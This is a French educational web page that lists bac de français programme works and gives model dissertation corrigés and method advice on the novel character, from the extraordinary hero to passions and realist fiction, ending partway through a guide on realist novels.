• Préparer l'épreuve anticipée de français bac 2024
  • Travailler et préparer la séquence "roman" pour l'EAF 2022

Dissertations sur des oeuvres au programme de l'EAF 2022 = objet d'étude, le roman

Disserter sur une oeuvre intégrale bac 2024. 26 sujets corrigés. "le roman" : manon lescaut, la peau de chagrin, sido, mémoires de deux jeunes mariées, prévost manon lescaut, balzac la peau de chagrin, colette sido, les vrilles de la vigne, balzac mémoires de deux jeunes mariées, roman , l'abbé prévost, manon lescaut. parcours "personnages en marge, plaisirs du romanesque".

Le roman et le récit du Moyen Âge au XXIe siècle 

Œuvre : Manon Lescaut

Parcours : Personnages en marge, plaisirs du romanesque

Savoir disserter sur une oeuvre intégrale du programme bac séquence "roman"

8 sujets corrigés pour s'entrainer à disserter sur Manon Lescaut de l'abbé Prévost

Consulter les 8 sujets corrigés

parcours bac "la célébration du monde", Sido Colette suivi des Vrilles de la vigne

Œuvre : Colette, Sido et les Vrilles de la vigne

Parcours  : "La célébration du monde" 

Trois sujets intégralement corrigés, 3 sujets d'entraînement  et un corrigé en vidéo

Consulter les 7 sujets  

parcours bac "les romans de l'énergie : création et destruction" Balzac, La Peau de chagrin

Œuvre :  Balzac, La Peau de chagrin

Parcours  :  "les romans de l'énergie : création et destruction" 

Trois sujets intégralement corrigés et 3 sujets d'entraînement  + un corrigé en vidéo

parcours bac "Raison et sentiments", Balzac, Mémoires de deux jeunes mariées

Œuvre :  Balzac, Mémoires de deux jeunes mariées

Parcours  :  "Raison et sentiments"

2 sujets d'entraînement  sur Balzac, Mémoires de deux jeunes mariées

Consulter les 2 sujets 

Le programme du bac de français 2022

Œuvre : madame de lafayette, la princesse de clèves parcours : individu, morale et société.

Œuvre :  Madame de Lafayette, La Princesse de Clèves Parcours :  Individu, morale et société

5 sujets corrigés pour s'entrainer à disserter sur La Princesse de Clèves, La Fayette

Consulter les 5 sujets corrigés

Œuvre : Stendhal, Le Rouge et le Noir Parcours : Le personnage de roman : esthétique et valeurs

Œuvre :  Stendhal, Le Rouge et le Noir

Parcours :  Le personnage de roman : esthétique et valeurs

4 sujets corrigés pour s'entrainer à disserter sur Le Rouge et le Noir de Stendhal 

Consulter les 4 sujets corrigés

Marguerite Yourcenar : "Mémoires d'Hadrien"

Œuvre : Marguerite Yourcenar, Mémoires d’Hadrien

Parcours : Soi-même comme un autre

3 sujets corrigés pour s'entrainer à disserter sur Marguerite Yourcenar, Mémoires d’Hadrien

Consulter les 3 sujets corrigés

Pour travailler l'autobiographie

Séquence,"l'autobiographie" . Le fonctionnement de la mémoire et des souvenirs

Les différentes raisons qui peuvent amener à écrire un récit de vie.

Suffit-il de se souvenir pour écrire un récit autobiographique ?

une autobiographie vous parait elle devoir être complétée par la lecture d’une biographie? 

Enfance de Nathalie Sarraute, présentation d'un projet autobiographique

Marguerite Yourcenar : "Mémoires d'Hadrien"/ Soi-même comme un autre

Dissertations bac de français l'autobiographie  

une autobiographie vous parait elle devoir être complétée par la lecture d’une biographie?L’intérêt des mémoires, des confessions, des autobiographies... Récit, connaissance de soi, soi-même comme un autre -Sarraute, "Enfance". Séries technologiques - Yourcenar : Mémoires d'Hadrien 

EAF 2023, séquence roman Abbé Prévost, Manon Lescaut, Balzac, Mémoires de deux jeunes mariées, la Peau de chagrin, Colette Sido

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Date de dernière mise à jour : 04/08/2023

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Dissertation : Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ?

L’ancien programme du bac de français (avant 2020) ne contenait pas une liste d’œuvres au programme.

Les questions de dissertation étaient donc des questions générales portant sur l’objet d’étude.

Sur cette page, je te propose un corrigé d’un sujet de dissertation tombé au bac de français 2013 pour les séries S et ES : Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ?

Dans ce devoir, j’utilise un plan dialectique (le fameux plan thèse / antithèse / synthèse).

Si tu prépares des dissertations sur œuvres, va voir ici mes exemples de dissertation pour le bac de français (nouveau programme).

Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ?

Introduction de la dissertation, phrase d’accroche.

Le conte est par excellence le genre de l’extraordinaire : on y trouve beaucoup de magie et des aventures incroyables. Mais ce modèle est-il applicable au roman ?

Définition des mots du sujet

Il y a trois notions à prendre en compte dans ce sujet, pour ne pas faire de hors-sujet :

1 – Le sujet parle du « romancier », il faut donc s’en tenir au genre romanesque : pas de théâtre, pas de poésie, et pas d’apologue (n’oublions pas que Candide est un conte philosophique, pas un roman !).

2 – La deuxième notion du sujet, c’est le « personnage », le sujet pousse donc à réfléchir à l’ évolution du personnage : puisqu’on pose la question, c’est qu’il n’a pas toujours été extraordinaire. La question sous-jacente est donc de savoir comment, pourquoi et en quelles circonstances le personnage peut ne pas être extraordinaire .

3 – La dernière définition, c’est savoir ce que veut dire « êtres extraordinaires » : il s’agit de personnages qui auront une vie différente de celle des hommes normaux, donc du lecteur. Il arrive à ces personnages des choses hors du commun , des aventures, des rencontres magiques, etc. Cela peut aussi être un personnage qui a une caractéristique extraordinaire (force surhumaine, magie, etc). Il faudra se demander pourquoi on cherche à rendre des personnages hors du commun.

Problématique :

Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ? (Il est accepté de reprendre la problématique proposée par le sujet). Qu’attend le lecteur des personnages que le romancier lui présente ? (C’est mieux de reformuler le sujet).

Présentation du plan de dissertation :

Dans un premier temps, nous verrons que si les personnages extraordinaires sont agréables à la lecture, ne faire que des personnages hors du commun manque de réalisme . Dans un dernier temps, nous verrons que les romanciers ont parfois même cherché à créer des personnages négatifs : malades, idiots, fous…

I – Les personnages extraordinaires sont agréables

A – un personnage qui fait rêver.

Le registre merveilleux permet de faire rêver , en proposant au lecteur des mondes pleins de magie, qui seront agréables à lire et à découvrir.

Dans le roman de Lewis Carroll , Alice au pays des Merveilles , Alice bascule très vite dans un monde nouveau pour elle comme pour le lecteur : de chapitre en chapitre, ils découvrent ce monde rêvé (ou cauchemardesque) avec étonnement.

C’est cet étonnement qui est intéressant dans le personnage extraordinaire : se confronter à un monde inconnu nous permet de remettre en cause notre vision de la vie , et de prendre du recul .

C’est d’ailleurs la position d’Alice dans le roman : elle ne s’arrête jamais de demander pourquoi telle chose inconnue a tel effet sur ce monde.

Un roman qui fait rêver grâce à un personnage extraordinaire permet de réfléchir au monde qui nous entoure parce qu’on est mis face à une réalité différente .

B – Un personnage qui fait voyager

Nous étudierons l’exemple du texte A du corpus : Sido , de Colette .

Le cadre posé par les phrases d’introduction fait penser que le personnage ne sera pas extraordinaire . Pourtant, la mère devient une magicienne à travers le souvenir de la narratrice : on relève un vocabulaire de l’ exotisme (« denrées exotiques », « la momie exhumée », « la musique birmane », « comestibles coloniaux ») et du luxe (« essence à la violette », « des gants très chers », « cordon d’or », « ficelle d’or », « scellé d’or »).

Le texte montre que le cadre de vie de la famille est « modeste », comme le manteau de la mère : le père est maigre (maladie ou pauvreté ?), et la mère part seule à Paris , ce qui indique que la famille n’a peut être pas les moyens d’emmener tout le monde.

Mais ce que rapporte la mère fait voyager la narratrice (champ lexical de l’odorat : « essence à la violette », « parfum châtain », « l’effusion »), et par la même occasion, le lecteur qui s’y identifie.

C’est donc le procédé d’identification au personnage qui rend les personnages extraordinaires agréables : il permet au lecteur de vivre et de ressentir les mêmes choses que le personnage-narrateur.

C – Un personnage qui fait s’évader

Le roman Le Comte de Monte-Cristo d’Alexandre Dumas est un bon exemple de personnage qui fait s’évader, parce qu’il met en scène un personnage heureux, Dantès, qui va se marier à une femme qu’il aime, et qui va devenir capitaine du bateau sur lequel il travaille. Mais ses « amis » sont jaloux et montent un complot pour le faire emprisonner.

Ce roman est donc un roman d’évasion : Dantès finit par s’échapper de sa prison et par trouver un trésor. Il revient à Paris pour se venger des comploteurs, sous le nom de « Comte de Monte-Cristo ».

Ce roman nous fait nous évader parce qu’il représente une évasion d’un lieu où personne ne peut normalement s’échapper. Il y a aussi un évasion grâce au pouvoir de l’argent : le comte est très riche et peut tout s’acheter, le lecteur ressent une libération par procuration, parce qu’il lit l’histoire d’un homme qui peut tout se permettre grâce à son argent.

Transition :

Cependant les lecteurs veulent aussi voir des romans qui présentent des personnages réalistes , car si l’extraordinaire permet de voyager, le réalisme permet d’apprendre et de comprendre le monde qui nous entoure.

II – Les personnages peuvent aussi refléter la vie quotidienne du lecteur

A- le personnage réaliste.

Le texte C du corpus, Un roi sans divertissement , de Giono , montre un exemple de personnage réaliste .

En effet, l’extrait est un souvenir, qui pourrait donc être complètement déformé par le temps. La description qui est faite est pourtant réaliste, ce qui donne une impression de vraisemblance .

Des noms précis de lieux réels sont cités (« Saint Baudille » x2, « Mens »), et l’emploi du passé composé a une fonction descriptive : il s’agit de montrer des événements communs de la vie de tous les jours.

De plus, le portrait ne vient que très tard dans l’extrait : on décrit d’abord l’ environnement de Mme Tim avant d’en venir à elle. C’est parce qu’à partir du XIXe siècle, le roman choisit d’arrêter d’utiliser des personnages-archétypes et choisit d’en faire type sociaux : ils sont inscrits dans un temps et un espace précis qui a des conséquences sur leur façon d’agir.

Ici, avant son portrait, c’est le fait qu’elle est grand-mère , qu’elle aime les fêtes qui compte, parce que cela montre comment elle réagit face à son environnement. Même son portrait est orienté sur son milieu social , car il est décrit comme précieux (« opulente », « fond énorme » ce qui veut dire qu’il faut beaucoup de tissu pour faire la robe, et donc qu’elle a coûté cher, « corset agrémenté »).

Il ne s’agit plus de voir le personnage dans son essence mais de le comprendre en situation , dans sa vie. Cela donne un aspect plus ordinaire au personnage, mais cela apprend au lecteur à voir des réalités vraisemblables qu’il ne connaît pas.

B- Le personnage psychologique

Nous étudierons le texte B du corpus, extrait des Raisins de la colère de Steinbeck . Il s’agit d’un portrait de la mère de famille , mais celui-ci n’est pas seulement objectif, comme dans le texte précédent : il entre dans la tête du personnage décrit, et cherche à interpréter le caractère .

La volonté de vraisemblance va donc plus loin, puisqu’elle ne veut plus juste mettre en place des apparences qui ont l’air vraies, mais aussi de la vraisemblance psychologique .

Le portrait est d’abord physique (le visage, les yeux) puis il devient psychologique : « ses yeux noisette semblaient avoir connu toutes les tragédies possibles ».

Le personnage n’est pas extraordinaire : il ne lui arrive que des malheurs de la vie quotidienne.

L’enjeu n’est pas de faire rêver le lecteur, ou de le faire s’évader, mais de montrer comment fonctionne une famille . Ici, c’est la mère qui tient tout le monde parce qu’elle est très forte psychologiquement.

De plus, on apprend que son métier est « guérisseuse », il y a donc un lien entre sa fonction de gardienne de la famille (métaphore de la citadelle) et son métier qui consiste à soigner les gens.

Le lecteur, grâce à ce personnage commun, même s’il semble très courageux, apprend la psychologie pendant sa lecture.

C – Le personnage normal

L’anti-héros est un type de personnage « normal » , dont on attend normalement rien de plus qu’une vie classique , mais qui devient un héros presque malgré lui, et se révèle dans l’épreuve du roman.

Par exemple, dans Ravage de René Barjavel , le monde s’écroule suite à une panne mondiale d’électricité. François Deschamp , un garçon assez quelconque même s’il est plutôt grand et fort, sauve un groupe de personnes de Paris, qui est devenue une zone très dangereuse. Ils partent donc en expédition vers la province où ils survivent.

Ces personnages normaux permettent au lecteur de mieux se projeter dans l’histoire, car elle arrive à quelqu’un d’aussi ordinaire que lui, et qui vit quand même des aventures.

Les personnages que nous avons étudiés restent positifs , même si ce sont des anti-héros. En réalité, les personnages créés par les romanciers ne le sont pas toujours, qu’ils soient ordinaires ou extraordinaires. (La troisième partie est un élargissement de la question, qu’on appelle le dépassement).

III – Un nouveau personnage : le personnage négatif

A – le personnage méchant.

Dans Splendeurs et misère d’une courtisane , de Balzac , un personnage méchant devient un des personnages principaux.

Il est pourtant ouvertement mauvais : il est manipulateur , ancien bagnard , et il pousse l’héroïne à la prostitution .

Pourtant, sans sa ruse, les protagonistes ne survivraient pas, et ce n’est que parce qu’il est retardé dans son plan que le héros meure.

La mise en place de personnages de méchants comme héros permet de nuancer les psychologies et de se rapprocher de la vie : personne n’est tout blanc ou tout noir.

Le lecteur apprend à s’identifier à des personnages auxquels il n’a pas l’habitude de croire.

B – Le personnage malade

Le Voyage au bout de la nuit de Céline propose une autre définition du personnage : le personnage malade .

Le lecteur suit Bardamu , misanthrope et paranoïaque . Tout le récit est conditionné par ces caractéristiques du personnage.

Cela apporte au roman une nouvelle perception des choses que le lecteur croit d’abord objectif puisqu’il a l’habitude de suivre des personnages sains.

Au fur et à mesure que Bardamu rencontre des gens, le lecteur perçoit ce côté malade et malsain du personnage principal, et apprend à prendre du recul par rapport à la fiction proposée.

C – Le personnage idiot

Le XXe siècle ne veut plus du personnage psychologique, et cherche à réinventer la figure du héros .

Dans le Journal intime de Sally Mara , Raymond Queneau écrit le faux journal intime d’une jeune Irlandaise très naïve , et complètement idiote .

Le lecteur est obligé de se fier à la subjectivité de Sally car il n’y a pas d’autre narrateur que le personnage dans un journal intime.

Ici, le personnage devient plus que banal, il devient déficient . Cela pousse le lecteur à se questionner sur la validité du personnage , et sur la raison qui a poussé Queneau à utiliser un personnage idiot.

Cela permet de voir le monde à travers des yeux complètement différent, et donc une autre sorte de dépaysement que le merveilleux.

Conclusion de la dissertation

Résumé et réponse à la problématique :.

Le roman permet de développer beaucoup de personnages différents.

Ceux qui sont extraordinaires permettent de se confronter à un monde nouveau , ou tout simplement de s’évader de son monde.

Certains personnages sont réalistes , et permettent d’étudier les différences et les nuances de la condition humaine.

Les personnages négatifs reviennent à une des fonctions des personnages extraordinaires : se confronter à autre chose que ce qu’on connaît. Sauf que ce n’est pas le monde de référence qui change, mais la vision du monde du personnage , qui est pervertie par la maladie ou sa méchanceté.

Ouverture :

Certaines représentations de personnages ont été jugées indécentes et condamnées par la justice , alors qu’ils ne sont que des êtres inventés . On pense par exemple à Mme Bovary , qui a été vue comme un personnage obscène qui encourage ses lecteurs (et surtout lectrices) à l’adultère. Il ne faut donc pas oublier de faire la différence entre les pensées et paroles du personnage , et celles de l’ auteur .

NB : Dans ta dissertation le jour J, les intitulés des parties et des sous-parties ne doivent pas être apparents. Ils doivent être rédigés.

Autres exemples de dissertations :

♦ Dissertation sur La Princesse de Clèves ♦ Dissertation sur Le Rouge et le Noir ♦ Dissertation sur Mémoires d’Hadrien

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Sujet bac L - Annale français 2018 - Corrigé - Dissertation

Remarques préliminaires sur le sujet :.

Pour réussir le sujet de dissertation , vous devez analyser rigoureusement les éléments du sujet, puis leur association afin de comprendre la problématique dans son ensemble.

  • « Un personnage de roman »  : cela renvoie à la fiction et au genre romanesque (et pas dramaturgique). Ce personnage est imaginaire, même s’il peut être inspiré par une personne réelle, ayant existé, ou même si certains personnages (secondaires) sont réels (dans le roman historique par exemple). Faites-vous une liste de personnages que vous connaissez bien, que vous avez étudiés, dans la littérature française ou étrangère : Don Quichotte , Manon Lescaut , Candide , Robinson Crusoé, Jacques le Fataliste , le jeune Werther, Madame Bovary , le Père Goriot , Bel-Ami , Dorian Gray, Jean Valjean , Charles Swan , Meursault l’étranger , Bardamu et son voyage au bout de la nuit , Aurélien, Nadja … ou servez-vous de ceux évoqués dans les extraits du corpus : Delphine, Matilde, Léonce, la Princesse de Clèves , Monsieur de Nemours, Renée…
  • « Doit-il »  : indique le caractère obligatoire.
  • « Vivre »  : la vie d’un personnage correspond à ses aventures, les péripéties qu’il subit, ses actions, les rencontres qu’il fait… Tout ce qui forge son existence depuis la situation initiale jusqu’à la situation finale.

Attention toutefois à ne pas associer « vivre » et « ressentir ».

  • « Des passions »  : à l’origine, le terme désigne « la souffrance » ( patio en latin). Par extension, il désigne une émotion vive, un amour intense. Mais le terme est maintenant utilisé dans d’autres domaines que les sentiments amoureux. La passion pour un métier, pour une activité, pour un domaine du savoir…
  • « Pour captiver »  : attirer et retenir l’attention de quelqu’un. Il y a l’idée de séduire, et de charmer également.
  • « Le lecteur »  : celui qui lit (et qui aime lire). Maurice Barrès disait que « tout livre a pour collaborateur son lecteur » . Il ne faut donc pas le négliger : il est celui qui interprète le texte.

Reformulez la problématique avec vos propres mots : Un personnage de roman doit-il vivre des passions pour captiver le lecteur ?

  • Est-il nécessaire qu’un héros vive des péripéties extraordinaires pour que le lecteur s’intéresse au roman ?
  • Faut-il que les protagonistes subissent des émotions intenses et des sensations fortes pour que le lecteur ait envie de lire le livre ?
  • Ou inversement : un livre serait-il inintéressant si les personnages ne vivaient rien de passionnant ?

Le devoir rédigé ici n’est qu’un exemple. D’autres idées pouvaient être évoquées.

Pour vous aider à visualiser le corrigé, nous allons mettre des titres aux différentes parties : vous ne devez bien sûr pas les écrire sur votre copie le jour de l’épreuve. Mais vous pouvez les noter sur votre brouillon pour vous aider à structurer vos idées.

L’introduction débute par une accroche qui amène le sujet en le situant dans un contexte afin d’aboutir à la problématique. Elle présente le sujet, montre les enjeux et permet d’annoncer le plan.

L’introduction se compose de 4 parties :

  • une présentation du sujet (ou accroche) qui permet de le contextualiser. Il convient donc de parler du personnage de roman du XVII e  à nos jours, qui est l’objet d’étude de ce sujet.

Attention aux banalités ! Évitez de commencer par « De tout temps, les romanciers… » ou « Depuis le Moyen-Âge, les personnages de roman… » ;

  • l’annonce du sujet : le sujet est recopié tel quel, introduit par une amorce. « Nous pouvons nous demander si… », « Cela nous amène à nous interroger sur… » ;
  • l’analyse de la problématique qui va reprendre votre analyse des termes du sujet et poser le problème ou reformuler la problématique ;
  • l’annonce du plan, en 2 ou 3 parties (n’annoncez pas les sous-parties).

Introduction

75 % de la population française déclare lire des romans, selon un sondage IPSOS pour le Centre National du Livre, en 2016. Il faut que ce genre soit plutôt attractif pour intéresser autant de lecteurs. Par ailleurs, le genre romanesque traite souvent du thème de la passion : le lecteur est lui-même soumis à ses propres passions et peut s’identifier aux différents personnages. C’est pourquoi nous pouvons nous interroger sur les personnages et leurs passions : un personnage de roman doit-il vivre des passions pour captiver le lecteur ? En effet, le lecteur s’intéresse souvent aux passions vécues par les personnages, mais est-ce une condition essentielle pour qu’un roman soit attrayant ? Nous montrerons tout d’abord que l'évocation des passions amoureuses est l’un des éléments-clés des romans. Puis nous verrons pourquoi la passion n’est pas le seul moteur des romans. Enfin, nous présenterons d’autres types de romans, dont le but n’est pas de mettre l’accent sur les passions, ni même sur les personnages, et qui pourtant, peuvent captiver les lecteurs.

Le développement  peut correspondre à deux types de plan :

  • le plan dialectique présente la thèse (validation : « oui, les personnages doivent vivre des passions »), l’antithèse (infirmation : « non, les personnages ne doivent pas forcément vivre des passions »), la synthèse (discussion, dépassement, autre possibilité : « plutôt que la passion… » ou « à la place des personnages… »)
  • le plan thématique présente un aspect différent de la réponse dans chaque partie (2 ou 3 parties en général).

Chaque partie présente 2 ou 3 arguments qui soutiennent l’idée générale de cette partie. Chaque argument est illustré par un exemple précis et développé. Cherchez des exemples variés : auteurs, époques…

Un exemple ne remplace pas un argument.

I. Les passions du personnage de roman captivent le lecteur : sans passion, pas d’histoire

Depuis les premiers romans du Moyen-Âge, la passion amoureuse occupe une large partie de la littérature : Tristan et Iseult ne furent que des précurseurs. Il s’agit alors de la passion dans son premier sens, celle qui fait souffrir, qui est immense et à laquelle on ne peut résister. L’amour-passion auquel les personnages succombent après avoir bu un philtre d’amour a, dans Tristan et Iseult , une forme magique qui n’est pas propre aux romans postérieurs écrits à partir du XVII e  siècle, où la part de merveilleux disparaît généralement. Pourtant, certains éléments se retrouvent dans les personnages des romans d’amour de ce siècle : la passion est souvent symbole de tragédie, de souffrance contre lesquelles le protagoniste ne peut rien. C’est le cas par exemple des personnages féminins du roman de Stendhal , Le Rouge et le Noir . Madame de Rénal sait que son amour pour Julien, le précepteur de ses enfants, n’est pas convenable et impossible : Julien n’est pas de sa condition sociale, il est plus jeune qu’elle, elle est déjà mariée. Mathilde de la Mole non plus ne peut résister à son attirance pour le jeune homme, malgré tous les prétendants de son rang. La passion amoureuse les aveugle et les conduira à leur perte.

Par ailleurs, pour captiver les lecteurs, les auteurs évoquent des situations haletantes, des rebondissements, créent du suspense. Les passions vécues par les personnages sont propres à entraîner des actions qui rendent le récit palpitant. Le lecteur partage alors les passions des personnages et trouve son intérêt dans les situations exceptionnelles qu’ils vivent. C’est le cas par exemple dans le roman de Victor Hugo , Les Misérables . Les personnages de Cosette et Marius s’aiment. Ils éprouvent une passion qui naît au jardin du Luxembourg, par hasard et se poursuivra aussi par hasard dans d’autres lieux de Paris : rue Plumet, rue de L’Homme-Armé… Les deux amoureux sont poursuivis et condamnés à se cacher : Javert surveille Jean Valjean de sa justice implacable ; Éponine Thénardier, amoureuse éconduite de Marius, est prête à l’envoyer sur la barricade ; Jean Valjean sauve Marius de la mort en s’échappant par les égouts de Paris ; Marius, sauvé, peut épouser Cosette mais dénonce Jean Valjean comme assassin, jusqu’à ce qu’il découvre la vérité de la bouche de Thénardier. Ce n’est que dans les dernières lignes du roman que la passion des deux jeunes gens triomphe, mais au détriment du grand héros qui rend l’âme. L’épopée se déroule sur presque 20 ans, avec des intrigues et des rebondissements qui mettent les passions à rudes épreuves.

II. Un personnage de roman n’a pas besoin de vivre des passions pour captiver le lecteur

La passion amoureuse n’est pas le seul moteur des romans. Il existe d’autres passions : les personnages sont parfois animés par d’autres intérêts. Ainsi, les personnages des romans de Jules Verne mènent une quête qui n’est jamais en lien direct avec l’amour. Certains romans n’ont d’ailleurs aucun personnage féminin : L’Île Mystérieuse , par exemple, présente le destin de cinq hommes qui échappent à la guerre, en ballon, et se retrouvent échoués sur une île déserte du Pacifique. Certes, dans certains romans d’aventures, les héros de Jules Verne trouvent parfois l’amour en chemin, mais ce n’est pas du tout leur objectif. Dans Le Tour du monde en 80 jours , Phileas Fogg est plus intéressé par le whist, jeu auquel il joue tous les jours au Reform Club avec ses amis, les moyens de transport et les horaires, que par Mrs Aouda. Ainsi, c’est presque avec étonnement que le lecteur découvre les sentiments du gentleman qui accepte d’épouser la jeune femme. Tout l’intérêt du roman repose sur la réussite ou non du pari fou du héros et sur son flegme légendaire, en toutes circonstances. Même son mariage fut finalement au service de son pari fou : c’est parce qu’il accepte d’épouser Mrs Aouda qu’il découvre qu’il a 24 heures d’avance et a pu faire le tour du monde en 80 jours.

Il est donc à noter qu’un héros moins passionné peut être tout aussi intéressant, voire plus, pour certains lecteurs qui se sentiront alors plus en concordance avec lui. Pour rendre un personnage exceptionnel, il n’est pas nécessaire non plus qu’il vive des passions : il peut séduire par les actions qu’il mène et les valeurs qu’il incarne. C’est le cas par exemple des personnages de La Condition humaine , roman de Malraux . Les personnages sont un groupe de révolutionnaires communistes qui préparent une insurrection à Shanghai, contre le gouvernement. Kyo est le chef du groupe. Idéaliste, il meurt pour ses idées après son arrestation. C’est le cas également de Tchen qui mène un attentat-suicide contre la voiture de Chang-Kaï-Chek qui n’était finalement pas dans le véhicule. C’est également l’idéalisme qui a poussé Katow à rejoindre le groupe. Arrêté et emprisonné lui aussi, il refuse la fin que vit Kyo en se suicidant au cyanure : il préfère affronter la torture et donne sa capsule à d’autres prisonniers. Le roman, bien que fondé sur des personnages mus par des convictions politiques, a captivé malgré tout les lecteurs et reçu le prix Goncourt en 1933.

III. D’autres types de romans, d’autres types de personnages

Certains romans ont été écrits pour mener une véritable étude des mœurs ou des caractères. C’est le car par exemple de l’entreprise de Balzac avec sa Comédie humaine . Il veut faire une « histoire naturelle de la société ». Il mène alors trois grandes études sociologiques : une étude des mœurs, une étude analytique et une étude philosophique. L’ensemble comporte près de 90 ouvrages au total. Balzac souhaite avant tout peindre le réel et la société de son temps. Ainsi, dans La Peau de chagrin , le jeune Raphaël de Valentin désire tout : le succès, la richesse, les femmes. Sans le sou et près à se suicider, il hérite pourtant d’une incroyable fortune suite à un pacte démoniaque par l’intermédiaire d’une peau de chagrin. Ayant tout obtenu, c’est pourtant reclus et seul qu’il tente de survivre encore quelques jours, quelques heures… et finit par mourir seul, amer, et n’ayant rien fait de sa fortune ni de sa vie. Le roman offre au lecteur à réfléchir : peut-on satisfaire tous nos désirs ? L’œuvre se trouve à mi-chemin entre l’étude de mœurs et l’étude philosophique et n’a pas pour but de présenter les passions du personnage pour captiver le lecteur.

Le XX e  siècle et le Nouveau Roman vont aller beaucoup plus loin. La position du narrateur est remise en question. L’intrigue et le personnage en tant que tels sont rejetés. Ils sont placés au second plan ; ce qui importe, c’est l’écriture. On se retrouve avec des personnages nommés par leur initiales, comme dans La Jalousie de Robbe-Grillet, publié en 1957, où A…, personnage féminin, n’est jamais nommée. Le lecteur ne sait rien sur elle : pas de nom, pas d’âge, rien. C’est ce que Sarraute appelle « supprimer les points de repères » et « dépersonnaliser ses héros » dans son essais sur le (Nouveau) roman, L’Ère du soupçon . On en arrive même à avoir le lecteur pour personnage principal. C’est ce que propose le roman Si par une nuit d’hiver un voyageur d’Italo Calvino, publié en 1979. Vous, lecteurs et lectrices, devenez le principal personnage du roman. Appartenant au courant post-moderniste, Calvino, ayant fait un passage par le courant de l’OULIPO, met en avant les mécanismes du rapport entre le lecteur et le roman. Le lecteur s'engage alors dans une nouvelle quête, celle d’un manuscrit. Il devient un personnage qui enquête sur la construction du roman. Par mises en abîme, cette quête du lecteur, qui est le récit-cadre, est entrecoupée d'incipits de romans dont on ne connaît jamais la fin. Le roman bascule, d’un chapitre à l’autre, entre du texte (une histoire construite) et du métatexte (des commentaires relatifs à l’histoire). Le personnage n’a plus du tout une place majeure, à peine une existence évoquée, et on en oublie qu’il peut avoir des passions. Ce qui captive le lecteur, c’est le lecteur lui-même.

La conclusion propose un bilan du devoir. Il s’agit de reformuler les idées essentielles. Puis vous devez proposer une ouverture vers une autre problématique. Soignez votre conclusion : c’est la dernière chose que votre correcteur lira et vous devez lui laisser une bonne impression.

Conclusion 

Nous l’avons vu, les passions amoureuses des personnages de roman captivent le lecteur : elles sont à l’origine d’une majorité de textes et plébiscitées par la plupart des auteurs depuis les débuts du roman au Moyen-Âge. Au-delà des passions amoureuses, les auteurs ont travaillé aussi la psychologie et le caractère de leurs personnages afin d’intéresser le lecteur : les passions ne sont pas seulement amoureuses. Et certaines intrigues de romans sont fondées sur bien d’autres éléments que les personnages et leurs passions. Pour autant, le lecteur reste captivé. Ce que nous avons mis à jour avec le roman ici est tout à fait transposable au genre du théâtre. Les personnages vivent également des passions amoureuses qui font l’objet des principales intrigues en matière de dramaturgie. En déplaçant la problématique du roman au théâtre, nous pourrions alors nous demander si le personnage de théâtre doit vivre lui aussi des passions pour captiver, non plus le lecteur, mais plutôt le spectateur.

conclusion dissertation personnage de roman

Bac français : Les romans réalistes ont-ils uniquement pour objectif de reproduire la réalité ?

  • Marie Dougnac
  • 13 Juin 2022

À lire dans cet article :

Parcoursup

L’année de première file à toute allure et nous te conseillons de ne pas te plonger dans tes révisions à la dernière minute. Le baccalauréat de français nécessite de connaître les œuvres au programme sur le bout des doigts et de bien maîtriser les exercices de la dissertation et du commentaire de texte. Dans cet article, nous revenons avec toi sur la dissertation et te proposons un corrigé pour le sujet « Les romans réalistes ont ils uniquement pour objectif de reproduire la réalité ? ».

Nous faisons le point avec toi sur les différents éléments qui doivent figurer dans ta dissertation et te donnons quelques conseils de méthodologies pour briller le jour de l’épreuve. 

Avant même de commencer le corrigé, revenons sur un élément essentiel en dissertation : l’analyse de ton sujet au brouillon . C’est de cette étape que va découler tes idées et donc ton plan. Une analyse faite un peu trop rapidement pourrait te faire passer à côté de choses très importantes. 

Notre conseil   ?  Analyser le sujet en se concentrant un maximum, mais en se fixant un temps à ne pas dépasser, sinon tu vas devoir te presser pour rédiger le développement de ta dissertation et ça risquerait de fortement te desservir. En plus, garde en tête que tu seras plus efficace et productif si tu te fixes une plage horaire précise pour l’analyse !

Analyse du sujet de la dissertation

Les romans réalistes  : on centre tout de suite le sujet sur un type de texte précis. Facile, pour éviter le hors-sujet, il faut s’y cantonner!

Il est toujours bon avant de commencer de bien se rappeler les thèses clés des romanciers réalistes et les figures majeures du mouvement (Maupassant par exemple). Les noter rapidement peut orienter ta réflexion alors n’hésite pas à faire une petite liste au brouillon. 

Un petit plus : pouvoir citer des exemples issus de tes connaissances personnelles. Une copie moyenne citera les exemples du corpus, une très bonne copie, en revanche, citera des exemples du corpus de manière pertinente, mais aura aussi recours à d’autres exemples issus de sa culture personnelle. 

Uniquement pour objectif  : il faut que tu sois attentif au sujet, on demande ici non pas si reproduire la réalité est ou non un but des romans réalistes, mais s’il s’agit de leur unique objectif. 

Attention à ne pas partir dans un hors-sujet . Pour cela, nous te conseillons deux choses :

  • Toutes les 10 minutes, demande-toi si ce que tu écris répond vraiment à la question. Si ton petit frère te posait la question de la dissertation, tu lui répondrais quoi ?  
  • Dans le corps de ta copie, n’hésite pas à montrer que tu réponds bien au sujet, en reprenant les termes exacts et en reformulant la question.

Reproduire la réalité : ce terme est en lui-même ambigu et il va falloir l’analyser avec attention. Il pose plusieurs questions qu’il faudra évoquer : 

  • Le langage permet-il vraiment de reproduire la réalité par les mots ? 
  • Peut-on vraiment reproduire la réalité de manière objective ? N’est-on pas toujours obligé de faire un choix ?

Ce sont des questions comme celles-ci qui vont guider ta réflexion. 

À retenir : ici, le plan conseillé est un plan type thèse, antithèse, synthèse , mais attention à plusieurs écueils : 

  • Ne pas tomber dans le piège du I. oui, II. je me contredis, III. je mélange un peu du I et un peu du II ;
  • Le plan doit être une progression logique : si tu passes à l’antithèse, ce n’est pas pour contredire ce que tu as dit en I., mais pour en souligner les limites. Tu dois alors progresser dans une réflexion tout au long de ton travail, avancer en tenant compte de ce que tu viens d’écrire. Comme si ta copie était un film que tu déroulais! Si ta copie se transforme en une succession de scènes sans lien les unes aux autres, ce n’est pas bon signe !

Lire aussi : Bac français 2022 : les œuvres au programme

L’introduction de la dissertation

Un petit rappel s’impose, une introduction de dissertation se compose de : 

  • Une accroche (une citation d’auteur, un exemple de texte qui illustre le sujet ou encore un élément d’actualité) ;
  • Une phrase qui montre que votre accroche t’amène à te poser une question : ta problématique (qui doit être claire et précise) ;
  • Une annonce de plan qui présente clairement tes trois parties. 

